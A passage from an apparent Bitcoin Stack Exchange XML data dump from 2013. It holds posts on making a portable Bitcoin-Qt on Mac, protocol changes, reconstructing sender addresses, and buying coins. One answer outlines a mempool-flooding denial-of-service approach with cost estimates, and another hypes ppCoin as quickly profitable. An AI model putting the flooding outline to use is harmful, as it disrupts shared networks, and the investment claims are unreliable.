correctly.&lt;/p&gt;&#xA;&lt;h2&gt;Macintosh guide&lt;/h2&gt;&#xA;&lt;p&gt;Download the Mac .dmg from &lt;a href=&quot;http://bitcoin.org/en/download&quot; rel=&quot;noreferrer&quot;&gt;bitcoin.org&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Find the Bitcoin-Qt.app file, and copy it to to your flash drive.&lt;/p&gt;&#xA;&lt;p&gt;Go to Launchpad, type in 'terminal'. Hit enter.&lt;/p&gt;&#xA;&lt;p&gt;When the terminal comes up, type:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cd /path/to/flash/drive&#xA;mkdir data&#xA;cd Bitcoin-Qt.app/Content/MacOS&#xA;nano start.sh; chmod +x start.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Type in:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;dir1=$(cd &amp;quot;$(dirname &amp;quot;$0&amp;quot;)&amp;quot;; pwd)&#xA;dir=`echo $dir1 | sed 's/&amp;quot;/\\&amp;quot;/g' | tr -d '\n'`&#xA;data=&amp;quot;$dir/../../data&amp;quot;&#xA;&amp;quot;$dir&amp;quot;/bitcoin -datadir=&amp;quot;$data&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now hit Ctrl-O, enter, Ctrl-X. You should be back at the terminal.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cd ..&#xA;nano Info.plist&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Find the lines that look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;key&amp;gt;CFBundleExecutable&amp;lt;/key&amp;gt;&#xA;    &amp;lt;string&amp;gt;Bitcoin-Qt&amp;lt;/string&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Change it to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;key&amp;gt;CFBundleExecutable&amp;lt;/key&amp;gt;&#xA;    &amp;lt;string&amp;gt;start.sh&amp;lt;/string&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now hit Ctrl-O, enter, Ctrl-X. You should be back at the terminal. Now we just need to give it a better name.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cd ../..&#xA;mv Bitcoin-Qt.app BitcoinPortable.app&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Try running your BitcoinPortable.app. If you see files show up in the data directory next to it, then you've done things correctly!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=16258.0&quot; rel=&quot;noreferrer&quot;&gt;Thanks to Pygy for the script&lt;/a&gt;&lt;br /&gt;&#xA;&lt;em&gt;Note: I don't have a Mac, so this is untested.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-12-15T16:57:32.217" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8841" PostTypeId="2" ParentId="8838" CreationDate="2013-03-29T02:58:00.347" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a security advantage&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Kinda. On one hand, you don't have to worry about getting a virus and losing your coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, you need to trust that the person who made those physical bitcoins doesn't still have a way to spend them. (They could have saved a copy of the private key for claiming those coins before writing it below the hologram.)&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-03-29T02:58:00.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8843" PostTypeId="1" CreationDate="2013-03-29T05:45:27.187" Score="8" ViewCount="646" Body="&lt;p&gt;Are we stuck with what is here now? or if 10 years down the road serious changes need to be made to the system; can that be done with a decentralized system? How would you make changes to a decentralized system like this?&lt;/p&gt;&#xA;" OwnerUserId="3683" LastActivityDate="2013-03-29T10:15:38.890" Title="Can the Bitcoin system be changed?" Tags="|future-proof|futures|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8844" PostTypeId="2" ParentId="8843" CreationDate="2013-03-29T07:47:30.527" Score="0" Body="&lt;p&gt;A decentralized system can be changed, yes, if the majority of users using the system start using a changed client or the changed client is backward-compatible. The Bitcoin 0.8 upgrade caused some problems, as not everybody upgraded and 0.8 had a bug in which everybody needed to upgrade.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2013-03-29T07:47:30.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8846" PostTypeId="2" ParentId="8843" CreationDate="2013-03-29T10:15:38.890" Score="4" Body="&lt;p&gt;The power to change the Bitcoin protocol depends on the willingness of the &lt;a href=&quot;http://en.bitcoin.it/wiki/Economic_majority&quot; rel=&quot;nofollow noreferrer&quot;&gt;economic majority&lt;/a&gt; to adopt the changes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;a href=&quot;http://en.bitcoin.it/wiki/Hardfork_Wishlist&quot; rel=&quot;nofollow noreferrer&quot;&gt;wishlist&lt;/a&gt; exists of some changes that have been considered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the change is one that devalues the currency, then those who hold coins &lt;a href=&quot;https://bitcoin.stackexchange.com/a/8435/153&quot;&gt;or plan to hold them&lt;/a&gt; in the future will be less willing to adopt the change(s).  Some suggestions have been discussed and rejected so many times that a separate list of &lt;a href=&quot;http://en.bitcoin.it/wiki/Prohibited_changes&quot; rel=&quot;nofollow noreferrer&quot;&gt;prohibited&lt;/a&gt; change suggestions has been compiled.  If the change is one that improves Bitcoin without devaluing the currency or harming it some other way, those changes could be adopted.  If the change is not really necessary it might not be adopted, especially if there is the possibility for unintended consequences to be the result.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2013-03-29T10:15:38.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8847" PostTypeId="1" CreationDate="2013-03-29T12:11:22.843" Score="5" ViewCount="1123" Body="&lt;p&gt;GLBSE is down, and so is &lt;a href=&quot;https://bitcointalk.org/index.php?topic=65569.0&quot; rel=&quot;nofollow&quot;&gt;PureMining&lt;/a&gt;, which used to give deterministic hash rate yields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the alternatives? If someone wants to invest in Bitcoin mining, but doesn't want to own &amp;amp; operate a mining rig, what is a good way for him to do this?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-03-16T07:39:26.110" LastActivityDate="2016-03-16T07:39:26.110" Title="What is a good way for someone to purchase Mining Bonds?" Tags="|cloud-mining|" AnswerCount="1" CommentCount="0" ClosedDate="2014-08-10T23:10:28.917" ContentLicense="CC BY-SA 3.0" />
  <row Id="8849" PostTypeId="1" AcceptedAnswerId="9728" CreationDate="2013-03-29T12:22:20.853" Score="3" ViewCount="313" Body="&lt;p&gt;I have stumbled upon the &lt;a href=&quot;http://bitcoinbusinessalliance.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Business Alliance&lt;/a&gt;, and heard it includes some of the most influential people in the Bitcoin space. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What businesses or individuals are known to be a part of the BBA?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-04-13T22:15:20.047" Title="Who is in the Bitcoin Business Alliance?" Tags="|business|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8851" PostTypeId="2" ParentId="8837" CreationDate="2013-03-29T17:13:24.983" Score="2" Body="&lt;p&gt;This is what worked for me on MAC OS 10.6.8 with Bitcoin-Qt 0.8.1-beta.&#xA;I'm combining and editing the &lt;a href=&quot;https://stackoverflow.com/questions/733824/how-to-run-a-sh-script-in-an-unix-console-mac-terminal&quot;&gt;Pygmy script&lt;/a&gt; and Nick ODells answer, there were a few typos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note, I opened the application with right-click &gt;&gt; &quot;Show Package Contents&quot; and then edited the files with the finder, and TextWrangler. No Terminal required!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Create new directory in &lt;code&gt;Bitcoin-Qt.app/Contents/Resources&lt;/code&gt; and name it &lt;code&gt;data&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Navigate up a level and then open the MacOS folder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) In that folder, create a new file called &lt;code&gt;start.sh&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) open that new file in a text editor and write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#! /bin/sh&#xA;dir1=$(cd &quot;$(dirname &quot;$0&quot;)&quot;; pwd)&#xA;dir=`echo $dir1 | sed 's/&quot;/\\&quot;/g' | tr -d '\n'`&#xA;data=&quot;$dir/../Resources/data&quot;&#xA;&quot;$dir&quot;/Bitcoin-Qt -datadir=&quot;$data&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;note that the last line contains the name of the only other file in the MacOS folder (Bitcoin-Qt). That's important! Because that is the program that will be executed a the end of the script you just wrote. Also, that fourth line has to link to the 'data' folder we created in step #1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Navigate back up a level to &lt;code&gt;Bitcoin-Qt.app/Contents/&lt;/code&gt; and open the file called &lt;code&gt;Info.plist&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) Find the lines that look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;key&amp;gt;CFBundleExecutable&amp;lt;/key&amp;gt;&#xA;&amp;lt;string&amp;gt;Bitcoin-Qt&amp;lt;/string&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;key&amp;gt;CFBundleExecutable&amp;lt;/key&amp;gt;&#xA;&amp;lt;string&amp;gt;start.sh&amp;lt;/string&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3667" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2013-03-29T17:13:24.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8853" PostTypeId="1" AcceptedAnswerId="8854" CreationDate="2013-03-30T01:09:11.840" Score="2" ViewCount="1005" Body="&lt;p&gt;Has any miner ever earned their 50/25 BTC solving a block with only one or two transactions? Maybe they got lucky before the full ten minutes?&lt;/p&gt;&#xA;" OwnerUserId="3667" LastEditorUserId="5406" LastEditDate="2016-04-25T15:36:10.217" LastActivityDate="2016-04-25T15:36:10.217" Title="What is the smallest block ever mined?" Tags="|block|empty-blocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8854" PostTypeId="2" ParentId="8853" CreationDate="2013-03-30T01:37:04.097" Score="6" Body="&lt;p&gt;Thousands of early blocks are empty except for the required generation transaction. See &lt;a href=&quot;http://blockexplorer.com/block/00000000839a8e6886ab5951d76f411475428afc90947ee320161bbf18eb6048&quot;&gt;block #1&lt;/a&gt;, for example.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2013-03-30T01:37:04.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8856" PostTypeId="2" ParentId="7998" CreationDate="2013-03-30T03:37:45.420" Score="1" Body="&lt;p&gt;It seems someone funded your account.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &quot;account_data&quot; : {&#xA;     &quot;Account&quot; : &quot;rPZhwqx7kQdssJD6i3cnEpd9kQ1Tofzjkx&quot;,&#xA;     &quot;Balance&quot; : &quot;39999999940&quot;,&#xA;     &quot;Flags&quot; : 0,&#xA;     &quot;LedgerEntryType&quot; : &quot;AccountRoot&quot;,&#xA;     &quot;OwnerCount&quot; : 1,&#xA;     &quot;PreviousTxnID&quot; : &quot;B2D32CF4212D43299C3ACF425B1CFF1CA32B7C103D759757A191A1DBAD722B99&quot;,&#xA;     &quot;PreviousTxnLgrSeq&quot; : 409732,&#xA;     &quot;Sequence&quot; : 7,&#xA;     &quot;index&quot; : &quot;91578FC2E59952476945E54C91B0F462C479F86F14382A7AD86C963EAC5001E2&quot;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should be able to transact without a problem.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-03-30T03:37:45.420" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8857" PostTypeId="2" ParentId="8791" CreationDate="2013-03-30T03:41:19.480" Score="8" Body="&lt;p&gt;The question is too speculative to answer. The groups could institute whatever rules they want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you assume there's a group that's willing to modify the software to create a permanent fork, presumably they are doing so for some reason. And whatever that reason is, that will affect what changes they make that cause the fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They could decide to allow people to transact on both chains. Or they could demand that you send the Bitcoins to a Bitcoin eater in the other chain before they allowed you to move them.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-03-30T03:41:19.480" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="8859" PostTypeId="1" CreationDate="2013-03-30T08:39:12.707" Score="3" ViewCount="404" Body="&lt;p&gt;At one point &lt;a href=&quot;http://tangiblecryptography.com/&quot; rel=&quot;nofollow&quot;&gt;TangibleCryptography&lt;/a&gt; offered direct sales of Bitcoins in exchange to USD wire transfer, at competitive rates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a list of active trusted companies that offer this service?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-12-27T06:42:20.503" Title="What large and well known companies directly sell BTC?" Tags="|buy-bitcoins|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8860" PostTypeId="2" ParentId="1895" CreationDate="2013-03-30T08:52:53.120" Score="1" Body="&lt;p&gt;The best competitor is probably ppCoin (PPC) &lt;a href=&quot;http://www.ppcoin.org&quot; rel=&quot;nofollow&quot;&gt;http://www.ppcoin.org&lt;/a&gt;.  I'm surprised it has not been mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ppCoin has a lot of advantages over bitcoin, including:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;power efficiency&#xA;&lt;ul&gt;&#xA;&lt;li&gt;BTC currently uses more power than a nuclear reactor, which is a horrible shame [check the power stats on blockchain.info and compare them to the output of Three Mile Island (wikipedia)]&lt;/li&gt;&#xA;&lt;li&gt;However, PPC uses proof-of-stake mechanism, which means the network can survive (and grow) without burning up CPU/GPU/ASIC cycles.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin's power problem won't end with ASICs.  Soon everyone will have tons of ASICs using just as much power.  BTC will always use the max power that is profitable.  The more BTC is worth, the more power will be used.  This is scary and bad for the environment.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;security enhancements&#xA;&lt;ul&gt;&#xA;&lt;li&gt;proof-of-stake secures the network if mining decreases in long term when little new money is created&lt;/li&gt;&#xA;&lt;li&gt;in BTC when mining ends transaction processors are incentivised to compete for transaction fees, which means ignoring each other's verified transaction blocks.  This can lead to destruction of the network.  PPC solves this by destroying transaction fees and simply providing incentive trough mining.&lt;/li&gt;&#xA;&lt;li&gt;N.B. Some will say that PPC is  not decentralised because its checkpointing process is centralised, in that the PPC developers add checkpoints with each release of the official PPC software.  However, this is a fallacy.  Bitcoin uses the same type of centralised checkpointing mechanism, i.e., through the released software.  Thus, PPC is no worse than BTC in this regard.  Decentralised checkpointing is a hard problem.  There is an interesting paper &quot;Bitter to Better&quot; by some folks at Stanford suggesting a better decentralised checkpointing mechanism.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;mechanisms to encourage actual use of the currency and survival of the network&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mining is always encouraged (mining is always profitable, even in the long term)&lt;/li&gt;&#xA;&lt;li&gt;transaction fees are not collected by transaction processors, but destroyed in order to counteract the currency created by mining.&lt;/li&gt;&#xA;&lt;li&gt;Thus, the money supply should remain constant (after it reaches a certain point)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The last point is really relevant because bitcoin users tend to horde than spend.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;ppCoin mining pool: ppcpool.bitparking.com&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;ppCoin exchange: ppcexchange.bitparking.com&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's profitable and you can mine a lot of coins quickly, but most importantly there's a lot of long-term potential for growth.&lt;/p&gt;&#xA;" OwnerUserId="3712" LastEditorUserId="3712" LastEditDate="2013-03-30T09:20:06.630" LastActivityDate="2013-03-30T09:20:06.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8861" PostTypeId="1" CreationDate="2013-03-30T09:28:54.037" Score="1" ViewCount="687" Body="&lt;p&gt;I have no bitcoins at all. But how do I get them? Can I deposit money through my credit card and convert them to bitcoin currency or something?&#xA;Also, say I have 10 BTC. Can I acquire that in physical money?&lt;/p&gt;&#xA;" OwnerUserId="3713" LastActivityDate="2013-03-30T09:46:02.097" Title="How do I get bitcoins in the first place?" Tags="|transactions|" AnswerCount="1" CommentCount="1" ClosedDate="2013-03-30T20:31:30.143" ContentLicense="CC BY-SA 3.0" />
  <row Id="8862" PostTypeId="2" ParentId="8861" CreationDate="2013-03-30T09:46:02.097" Score="1" Body="&lt;p&gt;You can use buy BitCoins on exchange market like &lt;a href=&quot;https://mtgox.com/&quot; rel=&quot;nofollow&quot;&gt;Mt.Gox&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get BitCoins by mining process. But this second option is very slow and hard. You can join some mining community to create blocks and get bitcoins for it. It takes couple of hours of your computer to make calculations worth 0.0001 bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find quick intro here: &lt;a href=&quot;http://arimaa.com/bitcoin_get/&quot; rel=&quot;nofollow&quot;&gt;How to Get Bitcoins&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="3714" LastActivityDate="2013-03-30T09:46:02.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8863" PostTypeId="2" ParentId="8408" CreationDate="2013-03-30T09:57:02.763" Score="2" Body="&lt;p&gt;There is no size limit to the mempool from what I can find. It might be possible to flood it but rather difficult and expensive / slow. I see two approaches:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A) minimum relay fee&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;connect to 1000 nodes&lt;/li&gt;&#xA;&lt;li&gt;send plenty of txs that meet the minimum relay requirements&#xA;&lt;ul&gt;&#xA;&lt;li&gt;how many?: 32 000 000, 32 000 on each node&lt;/li&gt;&#xA;&lt;li&gt;nLocktime in the far future so they don't get into blocks&lt;/li&gt;&#xA;&lt;li&gt;tx fee: minimum relay fee: 0.0001&lt;/li&gt;&#xA;&lt;li&gt;amount: very low&lt;/li&gt;&#xA;&lt;li&gt;size per tx: 250bytes&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;mempools are filled with 8gb of dust&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It would take a while to generate that many addresses and tx and get them broadcasted. Also it would cost at least 3200BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;B) 0 fee txs with minimum output of 0.01 so they still get relayed&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mempool is gated by a rate limiter for free tx:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Continuously rate-limit free transactions&#xA;// This mitigates 'penny-flooding' -- sending thousands of free transactions just to&#xA;// be annoying or make others' transactions take longer to confirm.&#xA;&#xA;// Use an exponentially decaying ~10-minute window:&#xA;// -limitfreerelay unit is thousand-bytes-per-minute&#xA;&#xA;// At default rate it would take over a month to fill 1GB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So this will be at least very slow. Also you need to have 320 000 BTC for 8GB. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There might be ways to artificially make txs larger. Alternate clients might do things differently.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2013-03-30T09:57:02.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8864" PostTypeId="2" ParentId="7838" CreationDate="2013-03-30T11:46:53.537" Score="10" Body="&lt;p&gt;I was intending to answer &lt;a href=&quot;https://bitcoin.stackexchange.com/q/8852/120&quot;&gt;another question&lt;/a&gt;, which was closed as a duplicate in the meantime, but I will use the case that was described there as an example to answer this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming &lt;a href=&quot;https://blockchain.info/tx-index/63705791&quot; rel=&quot;nofollow noreferrer&quot;&gt;the transaction&lt;/a&gt; is in fact a standard transaction, the script does in fact reveal the sender of the transaction. According to the standard transaction description in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Standard_Transaction_to_Bitcoin_address&quot; rel=&quot;nofollow noreferrer&quot;&gt;protocol specification&lt;/a&gt; the transaction has to first prove ownership of an output in order to claim it and spend it in the new transaction. The &lt;a href=&quot;https://blockchain.info/tx/f8c71a9f7ef2d4a5dd118691885f9835bcce2aa00a594f21a8af9ecc235f4b29&quot; rel=&quot;nofollow noreferrer&quot;&gt;transaction that gave the sender the funds&lt;/a&gt; specifies the hash of a public key to which to send the funds. In this case it's the output script 1 of transaction &lt;code&gt;f8c71a9f7...&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH160 496650cdb4b6275ca4478c0ce98cb6f7224bb1e7 OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the &lt;code&gt;496650cdb4b6275ca4478c0ce98cb6f7224bb1e7&lt;/code&gt; in there. That is the hash of the public key. To claim this output, and then send it to you, the sender has to provide both the public key and a valid signature. So let's take a look at the script that claimed this output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;304402205e81e8ed0b1f7cf6d1d415961859d3b95f5e5c353af303b6cef1e3efa6c3349702202fa9fdd6914abd0e9606c78899e7f3010cafdad211645cf459ae18b3b827b2c101 0365e0beb9a0c1497f3667067aeb8f3ea9dc4c9d5696cee7f19eae49f9457a5cfb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This being a standard transaction it will conform to the format &lt;code&gt;&amp;lt;sig&amp;gt; &amp;lt;pubKey&amp;gt;&lt;/code&gt;, so the public key is &lt;code&gt;0365e0beb9a0c1497f3667067aeb8f3ea9dc4c9d5696cee7f19eae49f9457a5cfb&lt;/code&gt;. To verify this we check an see if the hashes match (python code ahead):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;script = &quot;304402205e81e8ed0b1f7cf6d1d415961859d3b95f5e5c353af303b6cef1e3efa6c3349702202fa9fdd6914abd0e9606c78899e7f3010cafdad211645cf459ae18b3b827b2c101 0365e0beb9a0c1497f3667067aeb8f3ea9dc4c9d5696cee7f19eae49f9457a5cfb&quot;.split()&#xA;h = hashlib.sha256(script[1].decode(&quot;hex&quot;)).digest()&#xA;ripe160 =  hashlib.new('ripemd160')&#xA;ripe160.update(h)&#xA;d = ripe160.digest()&#xA;print d.encode(&quot;hex&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should result in &lt;code&gt;496650cdb4b6275ca4478c0ce98cb6f7224bb1e7&lt;/code&gt;, which is the hash we have seen in the output script of the claimed out that was finally sent to you. Notice that to calculate this we did not have to fetch the transaction &lt;code&gt;f8c71a9f7...&lt;/code&gt; but merely relied on information you could get from the transaction that you received. Now since an address is not much more than the hash of a public key we can simply build an address from the information we have gathered so far (having the hash already we start from step 4 in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow noreferrer&quot;&gt;address construction&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Prepend the Mainnet prefix&#xA;address = ('\x00' + d)&#xA;#Calculate checksum&#xA;checksum = hashlib.sha256(hashlib.sha256(address).digest()).digest()[:4]&#xA;# Build the raw address&#xA;address += checksum&#xA;# Encode the address in base58&#xA;encoded_address = b58encode(address)&#xA;print encoded_address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The encoding can be done with any base58 encoder, I used &lt;a href=&quot;https://github.com/jtobey/bitcoin-abe/blob/master/Abe/base58.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;. This should print out the address &lt;code&gt;17h6u26N2TVmoPRcvxwUdfAUjDzBJX513V&lt;/code&gt; which is the address that sent the bitcoins in the transaction that we were looking at all the time. So you see, the information you were looking for was in the transaction all along, but quite hidden. So given an incoming transaction (or an outgoing as a matter of fact) you can reconstruct who the sender (or receiver) was. Notice that this allows you to reconstruct the sender of each individual input, which might be multiple addresses. Simply assuming that any of the addresses signing the inputs is the sender of the transaction may or may not lead to the desired semantic result.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-03-30T11:46:53.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8866" PostTypeId="1" AcceptedAnswerId="8878" CreationDate="2013-03-30T12:47:10.183" Score="3" ViewCount="463" Body="&lt;p&gt;A few days ago I've &lt;a href=&quot;https://ripple.com/client/#/tx?id=7FBA8CB18DC102669F41F1723D0E9B8FCCF4824A5EC68C867048544CB58CD06B&quot; rel=&quot;nofollow&quot;&gt;sent&lt;/a&gt; Bitstamp through Ripple 0.3168 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had 0.4168 Bitstamp BTC before, and 0 BTC balance with everyone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now strangely I noticed that instead of Bitstamp owing me 0.1 BTC as expected, it owes me 0.2022 BTC, while I owe to a friend of mine 0.1022 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it sums up, I wonder what's the deal:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;why didn't it send entirely Bitstamp BTC to Bitstamp?&lt;/li&gt;&#xA;&lt;li&gt;how are us supposed to settle that? i.e. should I explicitly send BTC through Ripple to my friend, or simply when he tries to spend them he'll tap from my pool (hence no explicit action is needed)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-03-30T23:46:35.087" Title="Ripple: a strange send I don't quite understand" Tags="|ripple|ripple-gateways|ripple-trust|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8867" PostTypeId="1" CreationDate="2013-03-30T13:36:19.230" Score="1" ViewCount="222" Body="&lt;p&gt;I start exploring the Bitcoin world and I get confused concerning :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;who does what,&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;different cryptocoins available,&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any specific advantage to use one ? for example, no limit for transfer, low fee,...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, it seems that Mt.Gox is a strong player but there is not challenger in this new growing business ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help to clarify the basics !&lt;/p&gt;&#xA;" OwnerUserId="3717" LastActivityDate="2013-03-30T13:36:19.230" Title="Differences and similarities between Paymium, Mt.Gox,BitInstant and other major players, cryptocoins ?" Tags="|transactions|mtgox|bitinstant|" AnswerCount="0" CommentCount="2" ClosedDate="2019-07-17T17:30:54.257" ContentLicense="CC BY-SA 3.0" />
